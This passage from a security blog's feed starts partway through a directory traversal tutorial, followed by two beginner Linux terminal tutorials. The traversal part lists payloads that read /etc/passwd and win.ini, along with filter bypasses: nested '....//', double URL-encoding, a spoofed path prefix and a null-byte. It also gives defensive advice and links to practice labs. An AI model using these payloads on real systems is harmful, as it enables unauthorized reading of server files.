<h3 id="heading-but-what-if-the-server-is-windows-server-not-linux">But What if the server is Windows Server, not Linux?</h3>
<ul>
<li><p>Well, then try to read different files, one of which is: <code>\WINDOWS\win.ini</code></p>
</li>
<li><p>And the traversal sequence has a backward slash in it unlike Linux servers: <code>..\..\WINDOWS\win.ini</code></p>
</li>
</ul>
<p>NOTE: Traversal sequences are nothing but these: <code>../</code> in Linux and <code>..\</code> in Windows.</p>
<p>Hopefully, you all now get at least the basic concept behind the Directory Traversal. Let's move further now.</p>
<hr />
<h1 id="heading-how-to-find-directory-traversal-vulnerability">How to Find Directory Traversal Vulnerability?</h1>
<p><code>An application can have a lot of endpoints or instances for manual testing, that's why the use of automated scanning tools like ZAP or burp suite ( intruder with wordlist ) is recommended along with manual testing.</code></p>
<ul>
<li><p>The first thing that any tester should do is try to understand the web application's working, mapping the web app thoroughly is necessary.</p>
</li>
<li><p>While mapping the web app, identify and note down all the endpoints or instances where a file or directory name is present. In simpler words, note down the requests that initiate a request and fetch a file or directory from the server.</p>
</li>
<li><p>Now test each of these identified endpoints or instances with whatever payload you prefer, a wordlist or manually input custom paths and observe the response.</p>
</li>
</ul>
<p>Don't worry about this much yet, you'll understand it more if you haven't already when you get hands-on in the Directory Traversal labs challenge attached at the end of the article.</p>
<hr />
<h1 id="heading-how-to-exploit-directory-traversal">How to exploit Directory Traversal?</h1>
<p>There are a total of 6 main methods using which this vulnerability can be exploited:</p>
<ol>
<li>Simple Case</li>
</ol>
<pre><code class="lang-plaintext">../../../../../etc/passwd --&gt; in Linux
or
..\..\..\..\..\WINDOWS\win.ini  --&gt; in Windows
</code></pre>
<ul>
<li>In simple cases, we try to get out of the current directory that the image is being fetched from and reach the root path, and then from there, we move into the directories where the file that we want is located.</li>
</ul>
<p>Assuming that the image that was being fetched resides in /var/www/images directory:</p>
<ul>
<li>We first used traverse sequence ../../../../../ to move out of "/var/www/images" and reach / "root" directory</li>
</ul>
<p><code>NOTE: We can use as many traverse sequences as we'd like but it should not be less than the number we're required to get out and reach the root path. The extra traverse sequence gets ignored so no error will be thrown either. For example, to get out of /var/www/image we require 3 traverse sequences ( ../ ) to reach / but can use more traverse sequences if we suspect that we're even deeper in the filesystem than /var/www/images.</code></p>
<ul>
<li><p>Then, we moved into the directory where passwd file resides which is /etc/passwd.</p>
<hr />
</li>
</ul>
<ol>
<li>Traversal Sequence blocked with absolute path bypass</li>
</ol>
<pre><code class="lang-plaintext">/etc/passwd
</code></pre>
<ul>
<li><p>In this case, developers try to put up a filter for any payload containing a traverse sequence in the request sent.</p>
</li>
<li><p>But still, we can access the file using the absolute path which is "/etc/passwd".</p>
</li>
</ul>
<hr />
<ol>
<li>Traversal Sequences stripped non-recursively</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694093528272/cbcc6492-5125-421f-9bdf-55a0b27b539d.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Developers put a filter for any traverse sequence in the path of the request.</p>
</li>
<li><p>So we forge a request with a payload "....//....//....//....//".</p>
</li>
<li><p>The highlighted parts get stripped as they are traverse sequence "..<code>../</code>/..<code>../</code>/..<code>../</code>/..<code>../</code>/".</p>
</li>
<li><p>So now we end up with .. which was before the traverse sequence stripped and a / which was after the traverse sequence stripped.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694094127619/bad2f91b-6a2b-4322-a2c3-5f4fb692f38a.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<pre><code class="lang-plaintext">....//....//....//....//etc/passwd


../../../../etc/passwd 
--&gt; after the traverse sequense is stripped
</code></pre>
<hr />
<ol>
<li>Traversal Sequences stripped with superfluous URL-decode</li>
</ol>
<ul>
<li><p>Sometimes, the web app is protected in such a way that disregards the entire request that contains such a custom path.</p>
</li>
<li><p>Then we try to bypass these using URL-encoding.</p>
</li>
<li><p>But there are WAFs ( Web Application Firewalls ) also that protect from such attacks, which blocks any URL-encoded request that contains a path in it as payload.</p>
</li>
<li><p>It checks the encoded URL by decoding it and analysing the request to see if there's any path in it.</p>
</li>
<li><p>But at times the WAF rules to block aren't that well written, There are chances that the WAF only blocks one URL-encoding, but what if we encoded the URL twice or even thrice? If the WAF only decodes the URL once, then this too can be bypassed.</p>
</li>
</ul>
<p>Once encoded URL</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694094848100/837717ea-a7ea-4b67-8f20-6d1c2e0d19c7.png" alt class="image--center mx-auto" /></p>
<p>Twice encoded URL:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694094877413/28ce5715-5ae0-4d3b-a431-ede9997c1263.png" alt class="image--center mx-auto" /></p>
<hr />
<ol>
<li>Validation of start of the path</li>
</ol>
<pre><code class="lang-plaintext">/var/www/images/../../../etc/passwd
</code></pre>
<ul>
<li><p>Some web app only checks if the request contains the expected start of the path or not.</p>
</li>
<li><p>For example, our current web app expects that the user trying to fetch <code>ProfilePic.png</code> will request to fetch the image from <code>/var/www/images</code> directory.</p>
</li>
<li><p>So we use that at the start of the path so that the web application allows this request to pass but then we use the traverse sequence to come back out to the root directory and then to the <code>/etc/passwd</code> file. <code>/var/www/images/../../../etc/passwd</code></p>
</li>
<li><p>And this is how we can bypass this as well.</p>
</li>
</ul>
<hr />
<ol>
<li><p>Validation of file extension with null byte ( %00 ) bypass</p>
<ul>
<li><p>%00 are called null bytes.</p>
</li>
<li><p>When we add these in the request, anything appearing after the null bytes gets ignored by the web app.</p>
</li>
</ul>
</li>
</ol>
<p>Some web app checks if the request contains an allowed file extension or not.</p>
<ul>
<li><p>In our case, it would be jpg or png as the web app fetches images.</p>
</li>
<li><p>So we use a null byte to bypass this.</p>
</li>
<li><p>Even though the request contains a valid file extension at the end ".png", because of the fact that we have added %00 before the name of the image file "ProfilePic.png", the image file name gets ignored and only the part of the path that was appearing before the null byte gets passed to the server "<code>/etc/passwd</code>" in <code>/images?filename=/etc/passwd</code>.</p>
</li>
</ul>
<pre><code class="lang-plaintext">/images?filename=/etc/passwd%00ProfilePic.png
</code></pre>
<p>Those are all 6 methods of exploiting Directory Traversal. Now Let's understand how we protect against this attack.</p>
<hr />
<h1 id="heading-how-to-prevent-it">How to Prevent it?</h1>
<p>The best way to prevent such vulnerabilities is to avoid passing user-supplied input to filesystem APIs.</p>
<p>Note: Filesystem APIs are the mediator that allows interaction with resources on the filesystem. So here it is allowing us to access our images.</p>
<p>But if that's not possible, then we can put up a few layers of defence ( best if you use them all together ):</p>
<ul>
<li><p>Use Whitelisting: Allow only those user input that matches any of the permitted values.</p>
</li>
<li><p>If that too is not possible, then make sure to allow only those user inputs that contain alphanumeric values and disregard or strip any request that contains any special characters etc.</p>
</li>
<li><p>Once the input has been validated, the application should add the input to the base directory and utilize a platform-specific filesystem API to obtain the canonicalized path. Subsequently, it should confirm that the canonicalized path indeed begins with the predetermined base directory as expected.</p>
</li>
</ul>
<p>And that is how we can prevent this attack.</p>
<p><img src="https://media.giphy.com/media/26DOoDwdNGKAg6UKI/giphy.gif" alt class="image--center mx-auto" /></p>
<h3 id="heading-great-job-you-did-it">Great job, you did it!!</h3>
<hr />
<h1 id="heading-challenge">Challenge:</h1>
<p>You've been given all the information that you need to solve these labs.</p>
<p>You will have to make an account on portswigger.net to be able to proceed further.</p>
<p>After you've made an account, visit the following link which will take you to all the 6 labs of Directory Traversal.</p>
<blockquote>
<h3 id="heading-now-go-and-crush-it-soldier"><em>Now go and crush it, soldier.</em></h3>
</blockquote>
<p><a target="_blank" href="https://portswigger.net/web-security/all-labs#directory-traversal">https://portswigger.net/web-security/all-labs#directory-traversal</a></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://portswigger.net/web-security/all-labs#directory-traversal">https://portswigger.net/web-security/all-labs#directory-traversal</a></div>
<p> </p>
<p><img src="https://media.giphy.com/media/IdNv5WxI37hWLfGkQV/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Working with Terminal in Linux - Part 2]]></title><description><![CDATA[Continuation of: Working with Terminal in Linux - Part 1
NOTE: BLOG TARGETS ABSOLUTE BEGINNERS
What will you learn?

How to copy, and cut ( or move ) stuff.

Different options to create and delete ( remove ) files and directories ( folders ).

Conclu...]]></description><link>https://blog.redteamers.in/working-with-terminal-in-linux-part-2</link><guid isPermaLink="true">https://blog.redteamers.in/working-with-terminal-in-linux-part-2</guid><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[linux-commands]]></category><category><![CDATA[command line]]></category><category><![CDATA[cli]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Sat, 02 Sep 2023 12:30:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745598154477/3c9be20e-b06c-4d85-91af-06230b7f2d27.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Continuation of:</strong> <a target="_blank" href="https://blog.anandxdarshan.tech/working-with-terminal-in-linux-part-1"><strong><em>Working with Terminal in Linux - Part 1</em></strong></a></p>
<p><strong>NOTE: BLOG TARGETS ABSOLUTE BEGINNERS</strong></p>
<h2 id="heading-what-will-you-learn"><strong>What will you learn?</strong></h2>
<ul>
<li><p>How to copy, and cut ( or move ) stuff.</p>
</li>
<li><p>Different options to create and delete ( remove ) files and directories ( folders ).</p>
</li>
<li><p>Concluding</p>
</li>
</ul>
<h3 id="heading-lets-kick-that-engine-back-up-and-turn-that-volume-up-shall-we">Let's kick that engine back up and turn that volume up, shall we?</h3>
<p><img src="https://media.giphy.com/media/tyxovVLbfZdok/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-how-to-copy-move-cut-and-remove-delete-using-terminal">How to copy, move ( cut ) and remove ( delete ) using Terminal :</h1>
<h4 id="heading-commands-cp-mv-and-rm"><code>commands - cp, mv and rm</code></h4>
<hr />
<blockquote>
<h2 id="heading-copy-cp">Copy - cp</h2>
<hr />
<ul>
<li><p>cp is the command for copy.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693568235052/bf87f514-570f-4e58-b037-82b7b9170810.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>There's no file in the Documents directory when we check its content by using the ls command.</p>
</li>
<li><p>Then we use the cp command to copy a file named file.txt from the current directory to the Documents directory.</p>
</li>
<li><p>Then we ran the ls command on the Documents directory once more, now we see there's that file.txt present in it, which confirms that the file was copied successfully.</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-copying-a-directory">Copying a directory:</h2>
<ul>
<li><h4 id="heading-we-use-an-option-r-for-recursive-copying-with-cp-command-before-specifying-the-directory-that-we-want-to-copy"><strong>We use an option ( -r for recursive copying ) with cp command before specifying the directory that we want to copy.</strong></h4>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693569374059/145a8723-8ca4-473f-a410-c4fb1a6fc106.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>As you can see, Pictures was empty earlier, but now it has the Documents directory in it.</p>
</li>
<li><p>-r option stands for recursive copying which means that the directory and the contents in it recursively get copied to the specified path.</p>
</li>
</ul>
<h4 id="heading-note-copying-a-directory-without-an-r-also-called-a-switch-option-throws-an-error"><strong><em>NOTE:</em></strong> Copying a directory without an -r ( also called a switch ) option throws an error:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693569532258/228ee5a3-07a9-4d99-8b10-d17ab956d952.png" alt class="image--center mx-auto" /></p>
</blockquote>
<p>That's it for cp. Let's learn to cut or move files and directories using the terminal next.</p>
<hr />
<blockquote>
<h2 id="heading-move-mv-cut">Move - mv ( cut )</h2>
<hr />
<ul>
<li>mv is the command used to move ( or cut and paste ) a file or directory.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693570784096/0b2e160b-2566-4e45-8107-9c4a7099ca2b.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>The file "file.txt" was cut from the current directory and pasted into the public directory.</p>
</li>
<li><p>It works the same for directories, it d<strong>oesn't require any additional option</strong> like -r in the cp command.</p>
</li>
</ul>
<h3 id="heading-mv-command-to-rename-a-file-or-directory">mv command to rename a file or directory:</h3>
<hr />
<ul>
<li><p>mv command can be used to rename a file or directory as well.</p>
</li>
<li><p>The syntax is quite simple too. Just use the command, then specify the name ( with relative or full path ) of the file or directory that you want to rename, then write the new name that you want it to be renamed into:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693571225456/a69145b6-1f53-44bd-a023-4274c66eb898.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We renamed the directory from "Public" to "Private" using the mv command.</li>
</ul>
</li>
</ul>
<hr />
</blockquote>
<p>That's it for mv command, Now you might wanna take a 5-minute break, and then join me back in this article.</p>
<hr />
<h2 id="heading-how-to-create-and-delete-files-and-directories-using-terminal">How to Create and Delete Files and Directories using Terminal</h2>
<blockquote>
<hr />
<h2 id="heading-creating-files">Creating Files</h2>
<ul>
<li><p>For creating files in linux, there are a few different options available.</p>
</li>
<li><p>The options are:</p>
<ul>
<li><p><strong>touch</strong> command - used to create empty files</p>
</li>
<li><p>cat command with redirection operator. Don't worry about cat or redirection operators ( &gt;, &gt;&gt; ), I will teach you both well enough.</p>
</li>
<li><p>Editors like Nano and Vi ( Vim ). This topic is not in the scope of this article. I'll link it here if I decide to write a blog on it. For now, you can refer to this (not sponsored) or you may find another resource on this yourself if you prefer:</p>
<p>  %[https://youtu.be/vAwo7CLWlUc?si=6ZRuc9TlMnmG6u0d] </p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-creating-files-with-touch-command">Creating files with touch command:</h3>
<ul>
<li>touch is used to create empty files, a file that has no content in it.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693620094923/794d2b3e-d118-4758-8dc6-f8727ed0f537.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>When we write touch fileName, an empty file named "fileName" gets created.</p>
</li>
<li><p>Now using "cat fileName" we print the content of the file in the terminal itself.</p>
</li>
<li><p>But here nothing gets printed in the terminal. That confirms that the file is empty.</p>
</li>
<li><p>Don't worry about this cat command if you don't understand it. We'll be discussing it next.</p>
</li>
</ul>
<hr />
<h3 id="heading-cat-command-and-how-it-can-be-used-to-create-files-using-redirection-operators">cat command and how it can be used to create files using redirection operators:</h3>
<hr />
<h2 id="heading-cat-command">cat command</h2>
<ul>
<li><p>cat stands for concatenation.</p>
</li>
<li><p>Let me explain what it does in a bit simpler language;</p>
<ul>
<li><p>It can be used to print outputs in the terminal and</p>
</li>
<li><p>cat command can be used for concatinatinating content into files ( in other words creating or updating files without ever leaving the home terminal itself with the help of redirection operators &gt; and &gt;&gt; ).</p>
</li>
</ul>
</li>
</ul>
<ol>
<li><h3 id="heading-cat-to-print-output-contents-of-a-file">cat to print output ( contents of a file )</h3>
</li>
</ol>
<p>Note: cat can be used to print output of operations etc. But we are discussing file content printing to the terminal only.</p>
<ul>
<li><p>This one's very simple actually.</p>
</li>
<li><p>Just use cat followed by filename that you want to print:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693625411207/50392818-0824-4fd3-92c4-bae8325edfb9.png" alt class="image--center mx-auto" /></p>
<ul>
<li>I went ahead and created this file with the content that you see in the screenshot. Read it to understand better.</li>
</ul>
</li>
</ul>
<p>That's it for printing the output with cat. Now let's learn to create files.</p>
<hr />
<ol>
<li><h3 id="heading-cat-with-redirection-operators-to-create-or-update-an-existing-files-content">cat with redirection operators to create or update an existing file's content:</h3>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693623720964/cf0e5992-a6e3-46a1-b160-69f5ad04e062.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We used cat with a single redirection operator ( &gt; ) followed by a file that we want to write the content in, here i.e., "fileName",</p>
</li>
<li><p>Then we typed the following:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693623860338/8f3da642-8b1d-47bf-b8ed-f6c064166fd4.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Then we changed the line by pressing enter.</p>
</li>
<li><p>Then we used Ctrl + c to exit out of concatenation.</p>
<p>  Now to verify use "cat fileName" to print the content of the file in the terminal:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693624100031/579d5d85-4b7f-46dc-a6db-f5fdece3ca29.png" alt class="image--center mx-auto" /></p>
<p>  We can see that the contents were concatenated into the file "fileName".</p>
<ul>
<li><p><code>Note: If we use this "cat &gt; fileName" on the same file "fileName" again then the file's content will be overwritten. That's why &gt; operator is sometimes called an overwrite operator command.</code></p>
</li>
<li><p>Let's verify if it overwrites the content or not:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693624461251/d34b27fc-fbb9-4511-b7a2-f3e35a0b2a23.png" alt class="image--center mx-auto" /></p>
<p>  As we can see, it overwrites the previous content of the file. But there's another operator used for appending instead of overwriting the contents of the file, if we want to keep the previous content as well.</p>
</li>
</ul>
</li>
<li><h3 id="heading-append-gtgt-operator-with-the-cat-command">Append ( &gt;&gt; ) operator with the cat command:</h3>
</li>
<li><p>This operator with a cat can be used to append newer content to an existing file without overwriting its previous content, appending the newer content from the next line.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693624834129/51c60707-6e9a-4e51-996e-062f7c91dd12.png" alt class="image--center mx-auto" /></p>
<ul>
<li>As we can see, the new contents were added from the next line of the file without overwriting the previous content.</li>
</ul>
<p>That's all for now.</p>
</blockquote>
<hr />
<h2 id="heading-creating-directories-folder">Creating Directories ( Folder )</h2>
<hr />
<ul>
<li><p>mkdir ( make directory ) is the command used for creating directories.</p>
</li>
<li><p>Pretty simple syntax:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693628716310/6dd83268-bdea-4644-a2d0-e3c8db8d4418.png" alt class="image--center mx-auto" /></p>
<p>And if you want to create multiple directories then use the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693628779866/c17af740-485b-4069-95c4-91a72f04dcaa.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-note-it-is-best-that-you-dont-use-special-characters-or-spaces-in-a-file-name-or-directory-name-as-you-did-in-windows-except-hyphens"><code>NOTE: It is best that you don't use special characters or spaces in a file name or directory name as you did in Windows, except hyphens.</code></h2>
<h2 id="heading-if-you-want-you-can-do-it-but-it-will-make-your-workflow-slow-as-youll-have-to-escape-those-characters-using-while-working-in-the-terminal"><code>If you want you can do it but it will make your workflow slow as you'll have to escape those characters using \ while working in the terminal.</code></h2>
<hr />
<p>Honestly, that was a long one, you should consider taking a break. Come back after a while when you feel like it.</p>
<p>Next up, we'll learn to delete files and directories.</p>
<p>TAKE A BREAK FOR NOW.</p>
<p><img src="https://media.giphy.com/media/3VSdq4AowHgpupkDcE/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-removing-or-deleting-files-and-directories-in-terminal">Removing ( or deleting ) Files and Directories in terminal</h2>
<hr />
<blockquote>
<h3 id="heading-deleting-or-removing-files-rm-command">Deleting or Removing Files - rm command</h3>
<ul>
<li><p>rm is the command used for deleting files.</p>
</li>
<li><p>The syntax is simple:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693640692219/ed9730f6-f2d9-4b78-8329-8d7bd589b9cb.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-deleting-or-removing-empty-directories-rmdir-command">Deleting or Removing empty Directories - rmdir command</h3>
<ul>
<li><p>rmdir command is used to delete empty i.e., if a directory doesn't contain anything inside of it, then only this command will work.</p>
</li>
<li><p>The syntax is the same as deleting files:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693640988414/56ce5a56-53f6-4d65-b216-ad8273e7f877.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Now if you tried deleting a directory that has contents in it then it will through an error:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693641086334/9c5a5399-d8c6-4076-a8fa-e30e6540c820.png" alt class="image--center mx-auto" /></p>
<hr />
</li>
</ul>
<h3 id="heading-deleting-or-removing-a-directory-with-contents-inside-it-using-rm-command">Deleting or removing a directory with contents inside it using rm command:</h3>
<ul>
<li><p>To delete a directory with contents we need to use the old rm command with a special option "-r" which stands for recursive deletion.</p>
</li>
<li><p>So whatever the contents might be inside the directory, all of it will get deleted recursively until there's nothing inside the directory.</p>
</li>
<li><p>So let's try deleting this Private directory along with the contents that persist inside it i.e., a <strong>bla</strong> directory and a file named file.txt:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693641415825/75e9cf07-259b-4aee-9de3-e6e22a8774be.png" alt class="image--center mx-auto" /></p>
<p>That's it.</p>
<hr />
</blockquote>
<p>Well done, give yourself a pat for having made it out to the end of this article. You deserve it.</p>
<p><img src="https://media.giphy.com/media/XGnH2RGHoCqumsAXpo/giphy.gif" alt class="image--center mx-auto" /></p>
<h2 id="heading-concluding">Concluding:</h2>
<ul>
<li><p>Remember to practice these for at least one or two weeks so that these things make room in your head.</p>
</li>
<li><p>And if you want to advance in your Linux journey, I would suggest that you switch entirely to Linux. I did the same.</p>
</li>
<li><p>Also, keep an eye out for more blogs related to Linux if you linked the way I delivered it;</p>
<ul>
<li><p>Consider giving a follow to my blog</p>
</li>
<li><p>And maybe dropping a like</p>
</li>
</ul>
</li>
</ul>
<hr />
<h1 id="heading-thanks-for-reading-this">Thanks for Reading This!</h1>
<h3 id="heading-see-you-in-the-next-one">See you in the next one.</h3>
<p><img src="https://media.giphy.com/media/KctrWMQ7u9D2du0YmD/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Working with Terminal in Linux - Part 1]]></title><description><![CDATA[NOTE: THE BLOG TARGETS ABSOLUTE BEGINNERS
What will you learn?
You will learn the following in Part 1:

How to list contents of directories using the ls command efficiently.

How to change directory ( cd ) and its variant.


And following in Part 2:
...]]></description><link>https://blog.redteamers.in/working-with-terminal-in-linux-part-1</link><guid isPermaLink="true">https://blog.redteamers.in/working-with-terminal-in-linux-part-1</guid><category><![CDATA[terminal]]></category><category><![CDATA[terminal command]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux-basics]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Sat, 02 Sep 2023 07:30:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745598179058/a3824c44-deba-472f-8014-a31784accbf9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>NOTE: <em>THE BLOG TARGETS ABSOLUTE BEGINNERS</em></strong></p>
<h2 id="heading-what-will-you-learn">What will you learn?</h2>
<p>You will learn the following in Part 1:</p>
<ul>
<li><p>How to list contents of directories using the ls command efficiently.</p>
</li>
<li><p>How to change directory ( cd ) and its variant.</p>
</li>
</ul>
<p>And following in Part 2:</p>
<ul>
<li><p>How to copy, and cut ( or move ) stuff.</p>
</li>
<li><p>Different options to create and delete ( remove ) files and directories ( folders ).</p>
</li>
<li><p>Concluding</p>
</li>
</ul>
<h2 id="heading-lets-get-started">Let's get started:</h2>
<p><img src="https://media.giphy.com/media/ppdJSbkKj25NvdxFQo/giphy.gif" alt class="image--center mx-auto" /></p>
<p>Open a terminal first. <strong>Ctrl + Alt + T</strong> is the hotkey combination that works in a few Linux operating systems. It doesn't work in all OSs though.</p>
<hr />
<h1 id="heading-working-with-the-ls-command">Working with the <strong><em>ls</em></strong> command:</h1>
<hr />
<ol>
<li><strong>ls</strong> command is used to <code>list</code> the contents of the directories.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693533082038/6a6e5f36-9e67-4d24-b62c-9a79dc43cc99.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We have a total of 9 contents in the current directory from Desktop to Templates.</p>
</li>
<li><p>All of these are directories, but how do we know if the content listed is a directory or something else? Don't worry, we'll talk about it in the ls options section.</p>
</li>
</ul>
<p>To know the current directory that you're working in, we can use the command <strong>pwd</strong> ( <code>print working directory</code> ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693533222644/01afaf8f-0d8e-44b0-9eff-10c5f493a1cd.png" alt class="image--center mx-auto" /></p>
<ul>
<li>pwd gives us the full path of the current directory which is "<em>/home/anand</em>"</li>
</ul>
<ol>
<li><p>Now, if we wanted to list the contents of a directory without actually being at its absolute path, <strong>then we can use ls with its full path to get the content list</strong>:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693534443668/40672bc0-27dc-4d8e-9af1-fd0f108b8183.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>But, we have two types of paths that we can use;</p>
<ul>
<li><p>One is the <strong>Absolute path</strong> ( Full path to the directory ) and,</p>
</li>
<li><p>The other one is the <strong>Relative path</strong> ( relative to the current directory ).</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693535061903/fd19cc33-82ca-4275-98a2-fec69a4af3ba.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We now know the basic workings of ls. Let's now learn its few important options.</li>
</ul>
<h3 id="heading-basic-options-switches-of-the-ls-command">Basic Options ( switches ) of the ls command:</h3>
<ul>
<li><p>Switches or options extend functionality and give us more control over the way a command ( or CLI utility ) works.</p>
</li>
<li><p>How? Just observe how ls works with its switches and you'll get it.</p>
</li>
</ul>
<blockquote>
<h3 id="heading-ls-a-a-option-for-all">ls -a ( -a option for all )</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693536078906/2b50cd91-0264-4cb2-a5e4-49f8dc93a0de.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Notice how we now have many more contents in the list than the ls command without -a option.</p>
</li>
<li><p>This ls -a simply means <code>List all</code> the contents of the directory.</p>
</li>
<li><p>Here files and directories starting with "." are hidden contents and are only listed if forced to. This switch "-a" forces the ls command to list even the hidden contents.</p>
</li>
<li><p>That is why we have more content listed here.</p>
</li>
</ul>
</blockquote>
<hr />
<blockquote>
<h3 id="heading-ls-l-l-for-long-listing">ls -l ( -l for long listing )</h3>
<ul>
<li>This option lists the content in a long format, which shows a lot of other details for each file and directory:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693546353295/85c8f708-859a-45c3-ae88-bacbe7ccf083.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Let me explain each of the columns in the long form list ( ls -l ):</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693546813699/1ae43b89-3098-477a-96fe-532d6ef5fca8.png" alt class="image--center mx-auto" /></p>
<p>  Also, in permissions, whenever there's a d in the beginning, it means the content is a directory:</p>
<ul>
<li>All of the contents in the list are directories except one ( file.txt ):</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693547040687/30d345fa-7309-45b0-9a8e-e8903ccdfde5.png" alt class="image--center mx-auto" /></p>
</blockquote>
<p>Now you can even combine the two options ( -a and -l ) to list hidden content as well as list them in long format:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693547175489/3e1d6817-d35e-4919-811f-13cbfa61270a.png" alt class="image--center mx-auto" /></p>
<p>That's enough about <strong><em>ls</em></strong>. Let's move on to the next one, shall we?</p>
<hr />
<ul>
<li><p>It's a checkpoint, go grab a cup of coffee or something.</p>
<p>  <img src="https://i.imgflip.com/7i57ct.jpg" alt="Congrats Frend | CONGRATS ON MAKING IT THIS FAR; TAKE THIS GLASS OF WATER :) | image tagged in memes,leonardo dicaprio cheers | made w/ Imgflip meme maker" class="image--center mx-auto" /></p>
</li>
</ul>
<hr />
<h1 id="heading-working-with-the-cd-command">Working with the <strong><em>cd</em></strong> command:</h1>
<hr />
<p>cd command is used to <code>change directories</code> and is available in both Linux and Windows. We are talking about it in the context of Linux here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693548254011/edde147d-8dd6-40c6-a92f-8168d1cd7621.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Our current working directory is /home/anand but using cd we changed the directory to tutorial.</p>
</li>
<li><p>Now our pwd ( current working directory ) is <strong>/home/anand/tutorials</strong>.</p>
</li>
</ul>
<p>We can use the relative or absolute path here same as ls:</p>
<ul>
<li><p>The example above was the relative one.</p>
</li>
<li><p>Let's now use an absolute path of a directory with cd:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693548730000/759a106f-552d-44fe-ae12-446c1deb5ce4.png" alt class="image--center mx-auto" /></p>
<ul>
<li>we used an absolute path "/var/log" and changed our directory from /home/anand to the /var/log directory using cd.</li>
</ul>
</li>
</ul>
<h3 id="heading-navigating-to-parent-and-previous-directories-by-using-special-character-sets-with-cd-and">Navigating to parent and previous directories by using special character sets with cd ( .. and - )</h3>
<blockquote>
<h3 id="heading-navigate-to-a-parent-directory">Navigate to a parent directory</h3>
<ul>
<li>cd .. lets us navigate to the parent directory of the current directory.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693549200133/1b1a5067-a25a-45cf-bc29-5560c8e04c65.png" alt class="image--center mx-auto" /></p>
<ul>
<li>As you can see, we move up a directory ( parent directory ) whenever we use the command <strong>cd with a double dot "..".</strong></li>
</ul>
</blockquote>
<hr />
<blockquote>
